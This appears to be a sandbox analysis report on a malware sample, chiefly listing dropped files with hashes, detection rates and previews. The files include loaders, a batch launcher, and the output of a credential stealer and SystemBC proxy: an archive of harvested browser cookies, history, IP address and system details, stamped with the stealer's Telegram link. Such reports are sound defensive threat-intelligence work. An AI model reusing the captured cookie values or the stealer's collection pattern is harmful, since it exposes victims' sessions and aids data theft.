Process:	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	511488
Entropy (8bit):	7.662694967023767
Encrypted:	false
SSDEEP:	12288:RlY3R4zdWR5YkPebLhYWT3+Kw6RDubFagn8H4:Rleqz3kW1KKlRsw
MD5:	5161D6C2AF56A358E4D00D3D50B3CAFB
SHA1:	0C506AE0B84539524BA32551F2F297340692C72A
SHA-256:	7AA5344AAB15B3FB2355C59E09B7071A6A0A12EC1A5828367ECB7E9F926FE765
SHA-512:	C981AAFB0E901838B1CCACDA32F9B026995D5FD8CBED6590F2B3DD1178A2751065194A872C22CF24475EAF963C464916E33DD0FC620723D79B7F25D0E5041441
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 63%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S................................?......?.............h...?..B...<......<....Rich...................PE..L...JKXf...............'.8.........."s.......P....@.......................................@.....................................<...................................................................X...@............P..d............................text............0.................. ..`.BSS....c....@.......4.............. ..`.rdata.......P.......<..............@..@.data...............................@....reloc..............................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	920370
Entropy (8bit):	6.4722573340019895
Encrypted:	false
SSDEEP:	24576:juDXTIGaPhEYzUzA0amuDXTIGaPhEYzUzA0bnl:KDjlabwz9aDjlabwz9rl
MD5:	1B1ECD323162C054864B63ADA693CD71
SHA1:	333A67545A5D1AAD4D73A3501F7152B4529B6B3E
SHA-256:	902337BBF17AC4E015E03D12E79B60B8DD5A8362496DA3291A39E9124C58D9FF
SHA-512:	F1776B6A457108F10CA940CE02CE98B73404F5CF18FCCEE4977024CFAF74D7F48666D4DA9BE1BEE27531525E276CB8CFADBA39B0C81E0FD8CBE42F7672F45B71
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......$.2.`.\.`.\.`.\..y..h.\..y....\..y..m.\.....b.\...X.r.\..._.j.\...Y.Y.\.i..i.\.i..b.\.i..g.\.`.].C.\..Y.R.\..\.a.\...a.\..^.a.\.Rich`.\.........PE..d...#.@f.........."....!.h.....................@..........................................`.............................................4......P.......\|.......l0..............p....6..T....................7..(......@....................... ....................text...ng.......h.................. ..`.rdata...(.......*...l..............@..@.data...\...........................@....pdata..l0.......2..................@..@.didat..`...........................@..._RDATA..\...........................@..@.rsrc...\|...........................@..@.reloc..p...........................@..B........................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000014001\services64.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	17697280
Entropy (8bit):	7.908254163260824
Encrypted:	false
SSDEEP:	393216:VqXwsD/P9ME9hCb4B6+SY34VAw+56VbaK5P5jH7s:VqX/DDb24xt4VF46V+Kp5T7
MD5:	C8A50A6F1F73DF72DE866F6131346E69
SHA1:	37D99D5A8254CEAD586931F8B0C9B4CF031E0B4D
SHA-256:	59E6A5009CE5E9547078DB7F964BB8FC10EE999DD35B7E9243F119DB8337AA8D
SHA-512:	9F9230C58DDB8F029421A494220023253D725105AC2575D4ECD818C139DFAF77C7D559C58B66D764D78F3FFA19296F05AF6A5D02F795B22512E6979671F2D745
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 29%
Preview:	MZx.....................@...................................x...hr......!..L.!This program cannot be run in DOS mode.$..PE..d.....]f.........."...........R......{.........@.............................@............`.................................................h...d...........`....+...........0..................................(... ...8............ ..h............................text.............................. ..`.rdata..PC..........................@..@.data.....R.. ......................@....pdata........T.....................@..@.00cfg........T.....................@..@.tls......... T.....................@....\|Q+....C.v..0T..................... ..`.=S+....P.... ......................@....g<7....h....0......................`..h.reloc.......0......................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7ugjqlvs

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:qn:qn
MD5:	3F1D1D8D87177D3D8D897D7E421F84D6
SHA1:	DD082D742A5CB751290F1DB2BD519C286AA86D95
SHA-256:	F02285FB90ED8C81531FE78CF4E2ABB68A62BE73EE7D317623E2C3E3AEFDFFF2
SHA-512:	2AE2B3936F31756332CA7A4B877D18F3FCC50E41E9472B5CD45A70BEA82E29A0FA956EE6A9EE0E02F23D9DB56B41D19CB51D88AAC06E9C923A820A21023752A9
Malicious:	false
Preview:	blat

C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Download File

Process:	C:\Users\user\Desktop\DPqKF5vqpe.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1930752
Entropy (8bit):	7.951387090151076
Encrypted:	false
SSDEEP:	49152:+EH2UPihkNjmmnXY6dpoK1FghSqqNUXpK74BGY1l:Ccjmmo6To+ehQUXA4BN1l
MD5:	713A645C9524D137DB3C5547B12708F7
SHA1:	DC3A407CF08C26511F22F256182D3A240630925C
SHA-256:	96190D67193AF8CE4C121115007A1B757E6B581F31CBF7BA81F4F4828A81FFA8
SHA-512:	83615C402B5BC7D7CA3E23979742B0AEB3D7C3AD4DB197C910A3650668B2EE62A66C4BB7CAA254B3319B37F182C1FB5560E3D755A7AD6E67C39D0F681D49F910
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L...*.^f..............................L...........@...........................L......;....@.................................X...l.............................L.............................L.L..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...ysbzieoj.`...02..^..................@...zxuwvjyo......L......P..............@....taggant.0....L.."...T..............@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\DPqKF5vqpe.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	692194
Entropy (8bit):	7.997801932261879
Encrypted:	true
SSDEEP:	12288:I37B7OrtOn+vjgNiPelCjQ8V7onJT1FZFydiqOo:S7JatO2jgGs0onJZFIiqOo
MD5:	6C607B62547ECC88330A5C9AAE828D5E
SHA1:	CAB5371A6612533886B5F194E68D915A57DBB92D
SHA-256:	93DC83022B2F52F04EA02C81D01CB1A5BE3BAFD0F5A506431AB51D1372113426
SHA-512:	27C208E739D4F47F2385D05297E933595364FC276E05A1AAC183408F4741BA4F7227956380F9AC00D44DF0817249B4A2F2A8B4E156F72B98A63D6494E2280ABD
Malicious:	false
Preview:	PK........D..X................Browsers/PK........D..X................Wallets/PK........D..X..7X............network_info.txt....2JJ.....K.rS.s..KR...RS.s.KS........247.325.b.=KC^..........b^......<^......D}.. .....X..R..Z..............lah`...s..z..(.8.X.....PK........D..Xt..s....zo......process_info.txt.]Ko.6.....0..OI.7...$M.HcxS.9..]..F.ZH....w.1.9. 9.......f8.>}....}......\|..wmW6_.......u.w..<.y...'''O.m.W....m....t.$..[W..YS....9{...._......w...(...........?.....-..._........A..Wi...j.v...pQ!x>.X.4d.m.g.]..R+l.Bif...a0M..L+.wi.o......Z...Sn.J.;..............B....%Q.EP...0n...+....R.m.}..%.ag PU.Y0:noW.u.6&o cRVx./.].nnyh.....B.....Px..if.}...V.Zs.l..l...,v.m.F..-..}.O.:.+.E..>.C..J&...:....l/.a......@I..q.......rp%.\|..\......R.Q#<I.qE).g.b....Y.z..p".1=.Q....d;,<...5...D....A..V9>d..z...d....Nit.o~...:F.`..H..+.....$H...E.jM.E{.)L..c.Ac.U...8.....Y.Xi....Ym.2...&+.G,.F.r..@e...d?..Roo...u...+A..R7.J.....p..^\.QX...'....)........H..<J.

C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\Browsers\Cookies.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.351961280199859
Encrypted:	false
SSDEEP:	6:LmtQfzIIz3r7n4xbQ3r4eoqklrsRCv/tJeRBdLofwnqVCPV8lHmW:LmOkIz774y74eo5x/XevBsBlGW
MD5:	954D496908AB4B12A9E5512A603921B1
SHA1:	25362BFBD16E114B0C2DA9B2258D8351D5724A20
SHA-256:	DDB819D2AF01561327DD10FB5E7EAF92987B3E88AAF4BB0BA5C003DC39DFDF20
SHA-512:	D8B17BFDA390A526F8B10881C7C405316946482D1A8995AB893CB37B72A61DD46DDA6159BA302882314E33834EC3042A680DA9AFF02E9C031974D8FC876E818D
Malicious:	true
Preview:	----------------------https://t.me/monster_free_cloud----------------------..======================================================================...google.com.TRUE./.FALSE.13343569060474558.1P_JAR.2023-10-05-10...google.com.TRUE./.FALSE.13356788260474617.NID.511=ECxAtfQSvmYDhNiH-EK4qkvqzleI2lbbs6NyJGlrhegmL6tH9SsirX7FfHHkLFoVRHcZ9rDis3Ui7Ww--UFSZaWSUTQZDXPxPMnI0nisBnzBpQkcUqnh6T0Jd3zx-CHR9h-Qr1Xt5j8WMnACCcq1GLZ_D7UzVpFEh-ALtB7Uivc..

C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\Browsers\Firefox\History.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	1176
Entropy (8bit):	5.1105172658838285
Encrypted:	false
SSDEEP:	24:LIwrxsM0T/CrxsaQT/iWifT/QiRJT/TiCQERoT/Wierm6KZiJb36N:LR8mVcexFMwkcazsj2
MD5:	090654C765BF10A02B323E0485B378DC
SHA1:	FAB1635A32FAF4375267C13266960A340DAFBFE5
SHA-256:	17A34BC49755F22B5D3D9C877E42068577F872C6D3F7A83B1C3BC361C7C25C39
SHA-512:	E9D66201044CF0CD4391868A0DDFB3EA791BE1121C74A58E06F56ED7EFBAAC681176C1D1051DCE467A0EDFCCF15F2853DF85B91457020F3ED9E1F808D9638BF0
Malicious:	true
Preview:	----------------------https://t.me/monster_free_cloud----------------------..======================================================================..ID: 1 \| URL: https://support.mozilla.org/products/firefox \| Title: None \| Visit Count: 0 \| Last Visit Time: None..ID: 2 \| URL: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-browser&utm_medium=default-bookmarks&utm_campaign=customize \| Title: None \| Visit Count: 0 \| Last Visit Time: None..ID: 3 \| URL: https://www.mozilla.org/contribute/ \| Title: None \| Visit Count: 0 \| Last Visit Time: None..ID: 4 \| URL: https://www.mozilla.org/about/ \| Title: None \| Visit Count: 0 \| Last Visit Time: None..ID: 5 \| URL: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaign=new-users&utm_content=-global \| Title: None \| Visit Count: 0 \| Last Visit Time: None..ID: 6 \| URL: https://www.mozilla.org/privacy/firefox/ \| Title: None \| Visit Count: 1 \| Last Visit Time:

C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\network_info.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	259
Entropy (8bit):	4.319200277729545
Encrypted:	false
SSDEEP:	3:111T8PtQfeLBIIIb9GMARJv+M7N3VOvwHE96ZnXEUWor2x4EcatMWAqpmn:LmtQfzIInAXWEN3Dk96ZnXEn54deMWo
MD5:	255DDB8FF9301B352FD93C7C0ABC59D5
SHA1:	79121E218BD963BCCF3BE6BE6ACF3C6A3252C76E
SHA-256:	3D16846145662D2E911BB7F803E13FF8D883D4F7C34487E79BE23E2A1D6F20A9
SHA-512:	0292257ADF96F70ED9EAACEECA7AAA642009C796F10540CAB1CA6625249F0A3C883F3B9AE281FE4244873B2B696D7CF6DA8D20FF0814ECCFC5E301C757247F2F
Malicious:	true
Preview:	----------------------https://t.me/monster_free_cloud----------------------..======================================================================..173.254.250.91..United States..Killeen..America/Chicago..QuadraNet OMGITSFAST AS8100 QuadraNet Enterprises LLC

C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\process_info.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	28538
Entropy (8bit):	4.619132731355407
Encrypted:	false
SSDEEP:	384:PfkTGQiM6WRmSXWOiaKh/EkIVmF7azzXnnskEQOlCgQWdWg9n9dZGzAkKzF1070q:TryUrWEA
MD5:	11530ED117AB24F1BDDCA2EDE12CD535
SHA1:	D0F33993D560BFA27D076C690C9C2D1F68D71118
SHA-256:	EE4FCC80096AF5AF136AED671F8AD4968C05C6240AF3B1FFDB5F2C51938888D6
SHA-512:	531EC44F561709718C9C940FDEEBF04242C66A23A6010260E62A4E30E47DDB4CE4F5E08D13C45B843C574B346E60180C82158E336B8E83134B943EB62C0CCD4D
Malicious:	true
Preview:	----------------------https://t.me/monster_free_cloud----------------------..======================================================================.....Image Name: System Idle Process...PID: 0...Session Name: Services...Session#: 0...Mem Usage: 8 K......Image Name: System...PID: 4...Session Name: Services...Session#: 0...Mem Usage: 172 K......Image Name: Registry...PID: 92...Session Name: Services...Session#: 0...Mem Usage: 79'904 K......Image Name: smss.exe...PID: 324...Session Name: Services...Session#: 0...Mem Usage: 1'232 K......Image Name: csrss.exe...PID: 408...Session Name: Services...Session#: 0...Mem Usage: 5'376 K......Image Name: wininit.exe...PID: 484...Session Name: Services...Session#: 0...Mem Usage: 7'204 K......Image Name: csrss.exe...PID: 492...Session Name: Console...Session#: 1...Mem Usage: 6'280 K......Image Name: winlogon.exe...PID:

C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\system_info.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe
File Type:	Algol 68 source, ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	147299
Entropy (8bit):	4.340479948390071
Encrypted:	false
SSDEEP:	1536:/ziXX+DlX7zylHPotiGsfAuZYWSWsEwHIDtAVNS3XiXspBMumg8IR+BUZXj8j6VH:/zim5VS
MD5:	A89C640DCE059A4153CF21415E10BA05
SHA1:	47FA1516F676712DDB4CB4A182DB98C0631E8617
SHA-256:	0633B3C4EEB442A32DA6C4BB4D7A6952685457CF9269965F52DE2694528390FA
SHA-512:	190660D87496FBD33103817908F4EBADA60D46EA33D6E74C32D09F41DE4ECC2F97805DEC5429E6186A9F825A545C05FD92B7A81776971B2BAEDA3E812FD23BD2
Malicious:	true
Yara Hits:	Rule: JoeSecurity_MonsterStealer, Description: Yara detected Monster Stealer, Source: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\system_info.txt, Author: Joe Security
Preview:	----------------------https://t.me/monster_free_cloud----------------------..======================================================================..####System Info#### ......Host Name: user-PC...OS Name: Microsoft Windows 10 Pro...OS Version: 10.0.19045 N/A Build 19045...OS Manufacturer: Microsoft Corporation...OS Configuration: Standalone Workstation...OS Build Type: Multiprocessor Free...Registered Owner: hardz...Registered Organization: ...Product ID: 00330-71431-37592-AAOEM...Original Install Date: 03/10/2023, 10:57:18...System Boot Time: 25/09/2023, 13:07:21...System Manufacturer: m1nvBp8a BSvKvw...System Model: Dgr8v M9...System Type: x64-based PC...Processor(s): 2 Processor(s) Installed.... [01]: Intel64 Family 6 Model 143 Stepping 8 GenuineIntel ~2000 Mhz... [02]

C:\Users\user\AppData\Local\Temp\AutofillData.db

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1209935793793442
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8lZqhAj3NniAGl:r2qOB1nxCkvSAELyKOMq+8lMAjdnG
MD5:	214CFA91B0A6939C4606C4F99C9183B3
SHA1:	A36951EB26E00F95BFD44C0851827A032EAFD91A
SHA-256:	660DE0DCC188B3C35F8693DA4FE3EABD70D55A3AA32B7FDD6353FDBF04F702D7
SHA-512:	E2FA64C41FBE5C576C0D79C6A5DEF0EC0A49BB2D0D862223E761429374294332A5A218E03C78A0D9924695D84B10DC96BCFE7DA0C9972988D33AE7868B107789
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Cookies.db

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DownloadData.db

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HistoryData.db

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Logins.db

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RarSFX0\1.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.286146588249911
Encrypted:	false
SSDEEP:	3:mKDDFRK58FoXMMH:h08Foc2
MD5:	FF59D999BEB970447667695CE3273F75
SHA1:	316FA09F467BA90AC34A054DAF2E92E6E2854FF8
SHA-256:	065D2B17AD499587DC9DE7EE9ECDA4938B45DA1DF388BC72E6627DFF220F64D2
SHA-512:	D5AC72CB065A3CD3CB118A69A2F356314EEED24DCB4880751E1A3683895E66CEDC62607967E29F77A0C27ADF1C9FE0EFD86E804F693F0A63A5B51B0BF0056B5D
Malicious:	false
Preview:	@echo off..start work.exe -priverdD

C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	464808
Entropy (8bit):	6.591071989403159
Encrypted:	false
SSDEEP:	12288:yyveQB/fTHIGaPkKEYzURNAwbAgOT+t1nN:yuDXTIGaPhEYzUzA0bnN
MD5:	405B7FBE8C0ED98620064F0CD80F24C4
SHA1:	BB9E45038E8A9F7B7CD0DB62858AC65C74B74821
SHA-256:	9DD8267E66DC584EECB3BECE47E826D3189E41077F4083ACDFC9A4F623B9C187
SHA-512:	3DD4C407F6C2250D20C005E816E80AD442BB07F84AB02E25951331808FB4229219F9FDDBCF1AC2E6D70985E3077A6401905F18A8B2C633E9D0A8B9CC6971B61D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......$.2.`.\.`.\.`.\..y..h.\..y....\..y..m.\.....b.\...X.r.\..._.j.\...Y.Y.\.i..i.\.i..b.\.i..g.\.`.].C.\..Y.R.\..\.a.\...a.\..^.a.\.Rich`.\.........PE..d...#.@f.........."....!.h...j.................@..........................................`.............................................4......P...............l0..............p....6..T....................7..(......@....................... ....................text...ng.......h.................. ..`.rdata...(.......*...l..............@..@.data...\...........................@....pdata..l0.......2..................@..@.didat..`...........................@..._RDATA..\...........................@..@.rsrc...............................@..@.reloc..p...........................@..B........................................................................................................................................

C:\Users\user\AppData\Local\Temp\RarSFX1\jergs.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	5.872411715760397
Encrypted:	false
SSDEEP:	384:rC+AHNZw/WnlrobdglGbLMoy+yG+yir1dV:r0gklrydgQP1yO67V
MD5:	C661A77C31F83C413A96B5537AD31989
SHA1:	8A5A47E39A9EFA9DC4DE447D2AE4CD5E375E3557
SHA-256:	CC5BB638CB34CBD386A906B7708EB62E05E3FC991A20BD060E1D84F722D29FF1
SHA-512:	B86E45D36D8566B51F932F660EE9C3D79CEA1A2EB34A9F7DA7B2CCC5E50C74F319E8005E43D719C5722EC148DDDDF1351A7F9EDC430888E572B3884D1610B1AA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: C:\Users\user\AppData\Local\Temp\RarSFX1\jergs.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 82%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......]..r..o!..o!..o!..\|!..o!..}!..o!Rich..o!................PE..L.....Z].....................................@....@..........................`..............................................\|A.......................................................................................@..\|............................text....-.......................... ..`.rdata.......@.......2..............@..@.data...,....P.......<..............@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TmpDD09.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe
File Type:	data
Category:	dropped
Size (bytes):	2662
Entropy (8bit):	7.8230547059446645
Encrypted:	false
SSDEEP:	48:qJdHasMPAUha1DgSVVi59ca13MfyKjWwUmq9W2UgniDhiRhkjp9g:bhhEgSVVi59defyfW2sDgAj3g
MD5:	1420D30F964EAC2C85B2CCFE968EEBCE
SHA1:	BDF9A6876578A3E38079C4F8CF5D6C79687AD750
SHA-256:	F3327793E3FD1F3F9A93F58D033ED89CE832443E2695BECA9F2B04ADBA049ED9
SHA-512:	6FCB6CE148E1E246D6805502D4914595957061946751656567A5013D96033DD1769A22A87C45821E7542CDE533450E41182CEE898CD2CCF911C91BC4822371A8
Malicious:	false
Preview:	0..b...0.."...H..............0...0......H..............0...0......H............0...0....H.......0...p.,\|.(.............mW.....$\|Bb.[ .w..#.G.a.K-..i.....+Yo..^m~{........@...iC....[....L.q.J....s?K..G..n.}......;.Q..6..WW..uP.k.F..</..%...X.P...V..R......@.Va...Zm....(M3......"..2-..{9......k.3....Y..c]..O.Bq.H.>..p.RS...\|B.d..kr.=G.g.v..f.d.C.?...0Ch[2:.V....A..7..PD..G....p..*.L{1.&'e..uU)@.i....:.P.;.j.j.......Y.:.a..6.j.L.J.....^[..8,."...2E.......[qU..6.].......nr..i..^l......-..m..u@P;..Ra."......n.p.Z..).:p).F($..\|.R.!9V.....[.gV...i..!.....=.y{.T6.9.m..+.....(2..\..V.1..].V...q.%.4.a...n.B..Q..g.~N..s....=iZ...3..).......E..A.I...hH..Q%0.]...u..........h0T.P.X.A............'.....O....Py.=..3..n..c.F.$z..t..jM.E..W...i1..'...Y,r.,.+...o.}.7..kb.t'DQTV..{...#....sT..G...:..3.L.....c..b%z..e.\.EY...M;x.Z....t..nv...@Ka.....\|s>.2Qr..f,O..XJ`d....78H8.....`..);.vMcUJ.......m.G5.ib]5.h.v<.?S.{1O.Y...kb.....a&.R......E.l..."J..G.

C:\Users\user\AppData\Local\Temp\TmpDD97.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe
File Type:	data
Category:	dropped
Size (bytes):	2662
Entropy (8bit):	7.8230547059446645
Encrypted:	false
SSDEEP:	48:qJdHasMPAUha1DgSVVi59ca13MfyKjWwUmq9W2UgniDhiRhkjp9g:bhhEgSVVi59defyfW2sDgAj3g
MD5:	1420D30F964EAC2C85B2CCFE968EEBCE
SHA1:	BDF9A6876578A3E38079C4F8CF5D6C79687AD750
SHA-256:	F3327793E3FD1F3F9A93F58D033ED89CE832443E2695BECA9F2B04ADBA049ED9
SHA-512:	6FCB6CE148E1E246D6805502D4914595957061946751656567A5013D96033DD1769A22A87C45821E7542CDE533450E41182CEE898CD2CCF911C91BC4822371A8
Malicious:	false
